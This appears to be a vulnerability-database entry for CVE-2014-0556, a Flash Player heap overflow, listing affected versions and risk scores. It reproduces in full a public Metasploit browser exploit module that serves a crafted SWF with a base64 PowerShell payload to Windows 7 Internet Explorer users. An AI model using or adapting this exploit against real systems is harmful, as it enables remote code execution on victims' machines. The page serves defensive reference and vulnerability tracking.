CVE-2014-0556

critical

Published 2014-09-10 · Modified 2026-05-06

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

—

CVSS v4 NEW

—

not yet in upstream

VIR risk

10.0

Description

Heap-based buffer overflow in Adobe Flash Player before 13.0.0.244 and 14.x and 15.x before 15.0.0.152 on Windows and OS X and before 11.2.202.406 on Linux, Adobe AIR before 15.0.0.249 on Windows and OS X and before 15.0.0.252 on Android, Adobe AIR SDK before 15.0.0.249, and Adobe AIR SDK & Compiler before 15.0.0.249 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2014-0559.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-36808 remote windows verified ruby · 4 KB

Metasploit · 2015-04-21

Adobe Flash Player - copyPixelsToByteArray Integer Overflow (Metasploit)

ruby exploit Source: Exploit-DB

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'                => 'Adobe Flash Player copyPixelsToByteArray Integer Overflow',
      'Description'         => %q{
        This module exploits an integer overflow in Adobe Flash Player. The vulnerability occurs
        in the copyPixelsToByteArray method from the BitmapData object. The position field of the
        destination ByteArray can be used to cause an integer overflow and write contents out of
        the ByteArray buffer. This module has been tested successfully on Windows 7 SP1 (32-bit),
        IE 8 to IE 11 and Flash 14.0.0.176, 14.0.0.145 and 14.0.0.125.
      },
      'License'             => MSF_LICENSE,
      'Author'              =>
        [
          'Chris Evans', # Vulnerability discovery and 64 bit analysis / exploit
          'Nicolas Joly', # Trigger for 32 bit, according to the project zero ticket
          'hdarwin', # @hdarwin89, 32 bit public exploit, this msf module uses it
          'juan vazquez' # msf module
        ],
      'References'          =>
        [
          ['CVE', '2014-0556'],
          ['URL', 'http://googleprojectzero.blogspot.com/2014/09/exploiting-cve-2014-0556-in-flash.html'],
          ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=46'],
          ['URL', 'http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/'],
          ['URL', 'http://malware.dontneedcoffee.com/2014/10/cve-2014-0556-adobe-flash-player.html'],
          ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-21.html']
        ],
      'Payload'             =>
        {
          'DisableNops' => true
        },
      'Platform'            => 'win',
      'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :os_name => OperatingSystems::Match::WINDOWS_7,
          :ua_name => Msf::HttpClients::IE,
          :flash   => lambda { |ver| ver =~ /^14\./ && Gem::Version.new(ver) <=  Gem::Version.new('14.0.0.176') },
          :arch    => ARCH_X86
        },
      'Targets'             =>
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'          => false,
      'DisclosureDate'      => 'Sep 23 2014',
      'DefaultTarget'       => 0))
  end

  def exploit
    @swf = create_swf
    super
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status('Sending SWF...')
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
      return
    end

    print_status('Sending HTML...')
    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
  end

  def exploit_template(cli, target_info)
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    target_payload = get_payload(cli, target_info)
    psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
    b64_payload = Rex::Text.encode_base64(psh_payload)

    html_template = %Q|<html>
    <body>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="sh=<%=b64_payload%>" />
    <param name="Play" value="true" />
    <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
    </object>
    </body>
    </html>
    |

    return html_template, binding()
  end

  def create_swf
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-0556', 'msf.swf')
    swf =  ::File.open(path, 'rb') { |f| swf = f.read }

    swf
  end

end

Metasploit modules

exploit_windows/browser/adobe_flash_copy_pixels_to_byte_array rank 500

Adobe Flash Player copyPixelsToByteArray Method Integer Overflow

Source fetch failed: fetch_error — view the original via the link above.

OS impact

Linux kernel Fixed 1 release

Version	Status	Fixed in
—	Not affected	—

macOS Fixed 1 release

Version	Status	Fixed in
—	Not affected	—

Application impact

Vendor	Product	Versions
adobe	flash_player	`{"endIncluding":"13.0.0.241"}`
adobe	flash_player	`13.0.0.182`
adobe	flash_player	`13.0.0.201`
adobe	flash_player	`13.0.0.206`
adobe	flash_player	`13.0.0.214`
adobe	flash_player	`13.0.0.223`
adobe	flash_player	`13.0.0.231`
adobe	flash_player	`14.0.0.125`
adobe	flash_player	`14.0.0.145`
adobe	flash_player	`14.0.0.176`
adobe	flash_player	`14.0.0.179`
adobe	flash_player	`15.0.0.144`
adobe	adobe_air_sdk	`{"endIncluding":"14.0.0.178"}`
adobe	adobe_air_sdk	`13.0.0.83`
adobe	adobe_air_sdk	`13.0.0.111`
adobe	adobe_air_sdk	`14.0.0.110`
adobe	adobe_air_sdk	`14.0.0.137`
adobe	flash_player	`11.2.202.223`
adobe	flash_player	`11.2.202.228`
adobe	flash_player	`11.2.202.233`
adobe	flash_player	`11.2.202.235`
adobe	flash_player	`11.2.202.236`
adobe	flash_player	`11.2.202.238`
adobe	flash_player	`11.2.202.243`
adobe	flash_player	`11.2.202.251`
adobe	flash_player	`11.2.202.258`
adobe	flash_player	`11.2.202.261`
adobe	flash_player	`11.2.202.262`
adobe	flash_player	`11.2.202.270`
adobe	flash_player	`11.2.202.273`
adobe	flash_player	`11.2.202.275`
adobe	flash_player	`11.2.202.280`
adobe	flash_player	`11.2.202.285`
adobe	flash_player	`11.2.202.291`
adobe	flash_player	`11.2.202.297`
adobe	flash_player	`11.2.202.310`
adobe	flash_player	`11.2.202.332`
adobe	flash_player	`11.2.202.335`
adobe	flash_player	`11.2.202.336`
adobe	flash_player	`11.2.202.341`
adobe	flash_player	`11.2.202.346`
adobe	flash_player	`11.2.202.350`
adobe	flash_player	`11.2.202.356`
adobe	flash_player	`11.2.202.359`
adobe	flash_player	`11.2.202.378`
adobe	flash_player	`11.2.202.394`
adobe	adobe_air	`{"endIncluding":"14.0.0.179"}`
adobe	adobe_air	`13.0.0.83`
adobe	adobe_air	`13.0.0.111`
adobe	adobe_air	`14.0.0.110`
adobe	adobe_air	`14.0.0.137`

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.